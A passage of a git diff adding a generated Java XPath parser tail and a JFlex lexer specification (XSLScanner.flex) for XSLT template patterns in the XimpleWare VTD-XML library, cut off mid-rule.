. . . . . . . .*/ + case 5: // AndExpr ::= AndExpr AND EqualityExpr + { + Expr RESULT = null; + int aleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left; + int aright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).right; + Expr a = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).value; + int eeleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int eeright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Expr ee = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = new BinaryExpr(a, BinaryExpr.AND, ee); + CUP$XSLParser$result = new java_cup.runtime.Symbol(8/*AndExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 4: // AndExpr ::= EqualityExpr + { + Expr RESULT = null; + int eeleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int eeright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Expr ee = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = ee; + CUP$XSLParser$result = new java_cup.runtime.Symbol(8/*AndExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 3: // OrExpr ::= OrExpr OR AndExpr + { + Expr RESULT = null; + int oleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left; + int oright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).right; + Expr o = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).value; + int aleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int aright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Expr a = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = new BinaryExpr(o,BinaryExpr.OR,a); + CUP$XSLParser$result = new java_cup.runtime.Symbol(6/*OrExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 2: // OrExpr ::= AndExpr + { + Expr RESULT = null; + int aleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int aright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Expr a = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = a; + CUP$XSLParser$result = new java_cup.runtime.Symbol(6/*OrExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 1: // $START ::= Expr EOF + { + Object RESULT = null; + int start_valleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).left; + int start_valright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).right; + Expr start_val = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).value; + RESULT = start_val; + CUP$XSLParser$result = new java_cup.runtime.Symbol(0/*$START*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + /* ACCEPT */ + CUP$XSLParser$parser.done_parsing(); + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 0: // Expr ::= OrExpr + { + Expr RESULT = null; + int oleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int oright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Expr o = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = o; + CUP$XSLParser$result = new java_cup.runtime.Symbol(5/*Expr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /* . . . . . .*/ + default: + throw new Exception( + "Invalid action number found in internal parse table"); + + } + } +} + diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/XSLScanner.flex b/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/XSLScanner.flex new file mode 100644 index 0000000..217d808 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/XSLScanner.flex @@ -0,0 +1,839 @@ +/* + * Copyright (C) 2002-2011 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ + + +package com.ximpleware.xpath; +import java_cup.runtime.Symbol; +import com.ximpleware.parser.*; +import com.ximpleware.*; + +%% +%class XSLScanner +%cup +%char +%unicode +%extends sym2 +%yylexthrow XPathParseException + +%{ + + private Symbol sym(int sym) { + return new Symbol(sym); + } + + private Symbol sym(int sym, Object val) { + return new Symbol(sym, val); + } + boolean strict; //true for template patterns, false otherwise + int isName; + NameType name; + FuncName fname; + Ntest ntest; + AxisType at; + int len; + String literal; + Double number; + int colonPosition; + int depth; + public boolean isStrict(){ + return strict; + } + + public void setStrict(boolean b){ + strict = b; + } + + public int getOffset(){ + return yychar; + } + + public String getArgument(char c, String input){ + int os1=input.indexOf(c), os2=input.lastIndexOf(c); + + return input.substring(os1+1, os2); + } + + /* public void report_error(String message, Object info) { + //throw new XPathParseException("Syntax error during parsing"); + } + + public void report_fatal_error(String message, Object info) throws XPathParseException{ + throw new XPathParseException("Syntax error during parsing: "+ message); + } + + public void syntax_error(Symbol cur_token) { + + } + + public void unrecovered_syntax_error(Symbol cur_token) throws XPathParseException{ + throw new XPathParseException("XPath Syntax error: "+cur_token); + }*/ + +%} +%init{ + isName = 1; + colonPosition = -1; + depth = 0; // detect the level of [ and ] because + strict = false; +%init} + +ws = [ \t\r\n] +digits = [0-9]+ +nc = ([^\!-/:-@\[-\^ \n\r\t\|]|"#"|"&"|";"|"?"|_|"\\"|"^"|"%"|"-"|".") +nc2 = ([^\!-/:-@\[-\^ \n\r\t\|0-9]|"#"|"&"|";"|"?"|_|"\\"|"^"|"%"|".") + +%% +{ws}+ { /* eat white space */} + +"+" {if (!strict || (strict && (depth >0))){ isName = 1 ; return sym(ADD); + }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } +- {if (!strict || (strict && (depth >0))){ isName = 1 ; return sym(SUB); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern");} +"." {if (!strict || (strict && (depth >0))){isName = 0 ; /*System.out.println(". returned ");*/ return sym(DOT);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern");} +".." {if (!strict || (strict && (depth >0))){isName = 0 ; return sym(DDOT);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern");} +"@" {isName = 1 ; return sym(AT);} + +"," {if (!strict || (strict && (depth >0))){ isName = 1 ; return sym(COMMA); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern");} +"(" {isName = 1 ; return sym(LP); } +")" {isName = 0 ; return sym(RP); } +"[" {isName = 1 ; /*System.out.println( "[ returned");*/ depth++;return sym(LB);} +"]" {isName = 0 ; depth--; return sym(RB);} +">" {if (!strict || (strict && (depth >0))){ isName = 1 ; return sym(GT);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } +"<" {if (!strict || (strict && (depth >0))){ isName = 1 ; return sym(LT); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern");} +">=" {if (!strict || (strict && (depth >0))){ isName = 1 ; return sym(GE);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern");} +"<=" {if (!strict || (strict && (depth >0))){ isName = 1 ; return sym(LE);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern");} +"=" {if (!strict || (strict && (depth >0))){ isName = 1 ; return sym(EQ);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern");} +"!=" {if (!strict || (strict && (depth >0))){ isName = 1 ; return sym(NE);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern");} +"$" {if (!strict || (strict && (depth >0))){ isName = 1; return sym(DOLLAR);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern");} + +"*" {if (isName ==0){ + isName = 1; + //System.out.println("returned a MULT"); + return sym(MULT); + } + else { + isName = 0; + name = new NameType(); + name.qname = "*"; + return sym(NAME,name); + } + } + +"/" {isName = 1 ; + //System.out.println("SLASH returned "); + return sym(SLASH); + } + +"//" {isName = 1 ; + //System.out.println("DSLASH returned "); + return sym(DSLASH); + } + +div { if (!strict || (strict && (depth >0))){ + if (isName == 0 ) { + isName = 1 ; + return sym(DIV); + } else { + isName = 0; + name = new NameType(); + name.qname = "div"; + return sym(NAME,name); + }}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +mod { if (!strict || (strict && (depth >0))){ + if (isName == 0) { + isName = 1 ; + return sym(MOD); + } else { + isName = 0; + name = new NameType(); + name.qname = "mod"; + //System.out.println("returned a NAME "+yytext()); + return sym(NAME,name); + }}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +and { if (!strict || (strict && (depth >0))){ + if (isName == 0) { + isName = 1 ; + return sym(AND); + } else { + isName = 0; + name = new NameType(); + name.qname = "add"; + return sym(NAME,name); + }}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +or { if (!strict || (strict && (depth >0))){ + if (isName == 0) { + isName = 1 ; + return sym(OR); + } else { + isName = 0; + name = new NameType(); + name.qname = "or"; + return sym(NAME,name); + }}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +"|" { if (!strict || (strict && (depth >0))){ isName = 1 ; return sym(UNION) ; }else + throw new XPathParseException(yytext()+" can't appear in a template pattern");} + +last{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + fname = new FuncName(); + fname.i = FuncName.LAST; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } +position{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.POSITION; + fname = new FuncName(); + fname.i = FuncName.POSITION; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } +count{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.COUNT; + fname = new FuncName(); + fname.i = FuncName.COUNT; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } +local-name{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.LOCAL_NAME; + fname = new FuncName(); + fname.i = FuncName.LOCAL_NAME; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } +namespace-uri{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NAMESPACE_URI; + fname = new FuncName(); + fname.i = FuncName.NAMESPACE_URI; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } +name{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NAME; + fname = new FuncName(); + fname.i = FuncName.NAME; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +string{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.STRING; + fname = new FuncName(); + fname.i = FuncName.STRING; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + + +concat{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.CONCAT; + fname = new FuncName(); + fname.i = FuncName.CONCAT; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +starts-with{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.STARTS_WITH; + fname = new FuncName(); + fname.i = FuncName.STARTS_WITH; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +contains{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.CONTAINS; + fname = new FuncName(); + fname.i = FuncName.CONTAINS; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +substring-before{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.SUBSTRING_BEFORE; + fname = new FuncName(); + fname.i = FuncName.SUBSTRING_BEFORE; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +substring-after{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.SUBSTRING_AFTER; + fname = new FuncName(); + fname.i = FuncName.SUBSTRING_AFTER; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +substring{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.SUBSTRING; + fname = new FuncName(); + fname.i = FuncName.SUBSTRING; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +string-length{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.STRING_LENGTH; + fname = new FuncName(); + fname.i = FuncName.STRING_LENGTH; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +normalize-space{ws}*"(" { if (!strict || (strict && (depth >0))){ isName =1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NORMALIZE_SPACE; + fname = new FuncName(); + fname.i = FuncName.NORMALIZE_SPACE; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +translate{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.TRANSLATE; + fname = new FuncName(); + fname.i = FuncName.TRANSLATE; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +abs{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ABS; + fname = new FuncName(); + fname.i = FuncName.ABS; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +round-half-to-even{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ROUND_HALF_TO_EVEN; + fname = new FuncName(); + fname.i = FuncName.ROUND_HALF_TO_EVEN; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +round-half-to-odd{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ROUND_HALF_TO_ODD; + fname = new FuncName(); + fname.i = FuncName.ROUND_HALF_TO_ODD; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +code-points-to-string{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.CODE_POINTS_TO_STRING; + fname = new FuncName(); + fname.i = FuncName.CODE_POINTS_TO_STRING; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +compare{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.COMPARE; + fname = new FuncName(); + fname.i = FuncName.COMPARE; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +upper-case{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.UPPER_CASE; + fname = new FuncName(); + fname.i = FuncName.UPPER_CASE; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +lower-case{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.LOWER_CASE; + fname = new FuncName(); + fname.i = FuncName.LOWER_CASE; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +ends-with{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ENDS_WITH; + fname = new FuncName(); + fname.i = FuncName.ENDS_WITH; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +QName{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.QNAME; + fname = new FuncName(); + fname.i = FuncName.QNAME; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +local-name-from-QName{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.LOCAL_NAME_FROM_QNAME; + fname = new FuncName(); + fname.i = FuncName.LOCAL_NAME_FROM_QNAME; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +namespace-uri-from-QName{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NAMESPACE_URI_FROM_QNAME; + fname = new FuncName(); + fname.i = FuncName.NAMESPACE_URI_FROM_QNAME; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +namespace-uri-for-prefix{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NAMESPACE_URI_FOR_PREFIX; + fname = new FuncName(); + fname.i = FuncName.NAMESPACE_URI_FOR_PREFIX; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +resolve-QName{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.RESOLVE_QNAME; + fname = new FuncName(); + fname.i = FuncName.RESOLVE_QNAME; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +iri-to-uri{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.IRI_TO_URI; + fname = new FuncName(); + fname.i = FuncName.IRI_TO_URI; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +escape-html-uri{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ESCAPE_HTML_URI; + fname = new FuncName(); + fname.i = FuncName.ESCAPE_HTML_URI; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +encode-for-uri{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ENCODE_FOR_URI; + fname = new FuncName(); + fname.i = FuncName.ENCODE_FOR_URI; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +boolean{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.BOOLEAN; + fname = new FuncName(); + fname.i = FuncName.BOOLEAN; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +not{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NOT; + fname = new FuncName(); + fname.i = FuncName.NOT; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +true{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + + fname = new FuncName(); + fname.i = FuncName.TRUE; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +false{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + + fname = new FuncName(); + fname.i = FuncName.FALSE; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +lang{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + + fname = new FuncName(); + fname.i = FuncName.LANG; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +number{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + + fname = new FuncName(); + fname.i = FuncName.NUMBER; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +sum{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + + fname = new FuncName(); + fname.i = FuncName.SUM; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +floor{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + + fname = new FuncName(); + fname.i = FuncName.FLOOR; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +ceiling{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + + fname = new FuncName(); + fname.i = FuncName.CEILING; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +round{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + + fname = new FuncName(); + fname.i = FuncName.ROUND; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +generate-id{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + + fname = new FuncName(); + fname.i = FuncName.GENERATE_ID; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +document{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + + fname = new FuncName(); + fname.i = FuncName.DOCUMENT; + return sym(FNAME2,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +current{ws}*"(" { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + + fname = new FuncName(); + fname.i = FuncName.CURRENT; + return sym(FNAME2,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +key{ws}*"(" { isName = 1; + yypushback(1); + + fname = new FuncName(); + fname.i = FuncName.KEY; + return sym(FNAME2,fname); + } + +\"[^\"]*\" | +'[^']*' { + isName = 0; + len = yytext().length(); + literal = yytext().substring(1, len-1); + return sym(LITERAL,literal); + } + +{digits}("."{digits}?)? | +"."{digits} { + if (!strict || (strict && (depth >0))){ isName = 0; + number = new Double(yytext()); + //System.out.println("number returned ==> "+ Double.parseDouble(yytext())); + return sym(NUMBER,number);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +text{ws}*"("{ws}*")" { + isName = 0; + ntest = new Ntest(); + ntest.i = Ntest.TEXT; + ntest.arg = null; + return sym(NTEST,ntest); + } + +comment{ws}*"("{ws}*")" { + isName = 0; + ntest = new Ntest(); + ntest.i = Ntest.COMMENT; + ntest.arg = null; + return sym(NTEST,ntest); + } + +node{ws}*"("{ws}*")" { + isName = 0; + ntest = new Ntest(); + ntest.i = Ntest.NODE; + ntest.arg = null; + return sym(NTEST,ntest); + } + +processing-instruction{ws}*"("{ws}*'[^']*'{ws}*")" { + isName = 0; + ntest = new Ntest(); + ntest.i = Ntest.PROCESSING_INSTRUCTION; + ntest.arg = getArgument('\'', yytext()); + //System.out.println(" !!!!!!!!!!!argument ==>" +ntest.arg); + return sym(NTEST,ntest); + } + +processing-instruction{ws}*"("{ws}*\"[^\"]*\"{ws}*")" { + isName = 0; + ntest = new Ntest(); + ntest.i = Ntest.PROCESSING_INSTRUCTION; + ntest.arg = getArgument('"',yytext()); + //System.out.println(" !!!!!!!!!!!argument ==>" +ntest.arg); + return sym(NTEST,ntest); + } + +processing-instruction{ws}*"("{ws}*")" { + isName = 0; + ntest = new Ntest(); + ntest.i = Ntest.PROCESSING_INSTRUCTION; + ntest.arg = null; + //System.out.println(" !!!!!!!!!!!argument "); + return sym(NTEST,ntest); + } + + + +ancestor{ws}*:: { if (!strict || (strict && (depth >0))){ isName = 1; + at = new AxisType(); + at.i = AxisType.ANCESTOR; + return sym(AXISNAME,at);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +ancestor-or-self{ws}*:: { if (!strict || (strict && (depth >0))){ isName = 1; + at = new AxisType(); + at.i = AxisType.ANCESTOR_OR_SELF; + return sym(AXISNAME,at);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + + +attribute{ws}*:: { if (!strict || (strict && (depth >0))){ isName = 1; + at = new AxisType(); + at.i = AxisType.ATTRIBUTE; + return sym(AXISNAME,at);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +child{ws}*:: { isName = 1; + at = new AxisType(); + at.i = AxisType.CHILD; + return sym(AXISNAME,at); + } + +descendant{ws}*:: { if (!strict || (strict && (depth >0))){ isName = 1; + at = new AxisType(); + at.i = AxisType.DESCENDANT; + return sym(AXISNAME,at);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +descendant-or-self{ws}*:: { if (!strict || (strict && (depth >0))){ isName = 1; + at = new AxisType(); + at.i = AxisType.DESCENDANT_OR_SELF; + return sym(AXISNAME,at);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +following{ws}*:: { if (!strict || (strict && (depth >0))){ isName = 1; + at = new AxisType(); + at.i = AxisType.FOLLOWING; + return sym(AXISNAME,at);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +following-sibling{ws}*:: { if (!strict || (strict && (depth >0))){ isName = 1; + at = new AxisType(); + at.i = AxisType.FOLLOWING_SIBLING; + return sym(AXISNAME,at);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +namespace{ws}*:: { if (!strict || (strict && (depth >0))){ isName =1; + at = new AxisType(); + at.i = AxisType.NAMESPACE; + return sym(AXISNAME,at);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +parent{ws}*:: { if (!strict || (strict && (depth >0))){ isName = 1; + at = new AxisType(); + at.i = AxisType.PARENT; + return sym(AXISNAME,at);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +preceding{ws}*:: { if (!strict || (strict && (depth >0))){ isName = 1; + at = new AxisType(); + at.i = AxisType.PRECEDING; + return sym(AXISNAME,at);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +preceding-sibling{ws}*:: { if (!strict || (strict && (depth >0))){ isName = 1; + at = new AxisType(); + at.i = AxisType.PRECEDING_SIBLING; + return sym(AXISNAME,at);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +self{ws}*:: { if (!strict || (strict && (depth >0))){ isName = 1; + at = new AxisType(); + at.i = AxisType.SELF; + //System.out.println("SELF:: returned"); + return sym(AXISNAME,at);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + +{nc2}{nc}*:"*" { isName = 0; + len = yytext().length(); + name = new NameType(); + if 